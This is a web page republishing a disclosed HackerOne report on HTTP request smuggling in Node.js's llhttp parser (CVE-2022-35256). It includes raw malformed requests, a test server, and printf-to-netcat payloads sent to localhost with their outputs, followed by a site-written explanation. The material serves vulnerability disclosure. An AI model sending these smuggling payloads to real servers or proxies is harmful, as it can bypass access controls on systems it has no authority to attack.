Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2022-35256

HTTP Request Smuggling Due to Incorrect Parsing of Header Fields

The Node.js HTTP parser accepts a request where a header with an empty value is not properly terminated with CRLF, allowing the Transfer-Encoding header to be obfuscated. An attacker could use this to smuggle a request past an upstream proxy that does not process the Transfer-Encoding header, potentially leading to access control bypass.

vvx7 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 37 days
  • Disclosed after 2 months

Summary: The llhttp parser in the http module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.

Description: The following chunked request is processed. It should be rejected as Transfer-Encoding header obfuscation may result in HRS when the upstream proxy does not process the Transfer-Encoding header.

A header that precedes the Transfer-Encoding, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation.

POST / HTTP/1.1
Host: localhost:5000
x:\nTransfer-Encoding: chunked

1
A
0

The request is rejected when the preceding header has a value but improper CLRF.

POST / HTTP/1.1
Host: localhost:5000
x:x\nTransfer-Encoding: chunked

1
A
0

Steps To Reproduce:

Server Run the server: node app.js

JavaScript
// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
const http = require('http');

http.createServer((request, response) => {
  let body = [];
  request.on('error', (err) => {
    response.end("Request Error: " + err)
  }).on('data', (chunk) => {
        body.push(chunk);
  }).on('end', () => {
    body = Buffer.concat(body).toString();

    // log the body to stdout to catch the smuggled request
    console.log("Response");
    console.log(request.headers);
    console.log(body);
    console.log("---");

    response.on('error', (err) => {
      // log the body to stdout to catch the smuggled request
        response.end("Response Error: " + err)
    });

    response.end("Body length: " + body.length.toString() + " Body: " + body);
  });
}).listen(5000);

Payload

Bash
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" x:\nTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000

Output

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 02:59:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22

Body length: 1 Body: A

Note:

Bash
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" Transfer-Encoding: yeet\r\n"\
" Transfer-Encoding: \n"\
" Transfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000

This also works with the resulting wonky header:

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 03:06:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22

Body length: 1 Body: A
Response
{ host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' }
A

Impact:

HRS can lead to access control bypass and other issues.

Supporting Material/References:

https://hackerone.com/reports/1501679 https://hackerone.com/reports/1238709

Impact

HTTP Request Smuggling can lead to access control bypass.

Attachments

CleanShot_2022-08-19_at_23.09.24.png
CleanShot_2022-08-19_at_23.09.24.png From the original on HackerOne

The original report as published on HackerOne, by vvx7. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the parser does not reject a header line that lacks a proper CRLF terminator when the header value is empty, allowing the following Transfer-Encoding header to be interpreted differently by an upstream proxy.

Impact

HTTP Request Smuggling can lead to access control bypass and other issues, though the text does not demonstrate a full exploit against a proxy.

What the attacker needed

Node.js v18.7.0 or similar; An upstream proxy that mishandles Transfer-Encoding

The fix

The parser should correctly handle header fields not terminated with CRLF to prevent Transfer-Encoding obfuscation.

How it was found

  1. Run the provided Node.js server that logs request headers and body.
  2. Send a crafted request where a header with an empty value is not terminated with CRLF, followed by a Transfer-Encoding header.
  3. Observe that the server accepts the request and processes the chunked body, returning a 200 response with the body content.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.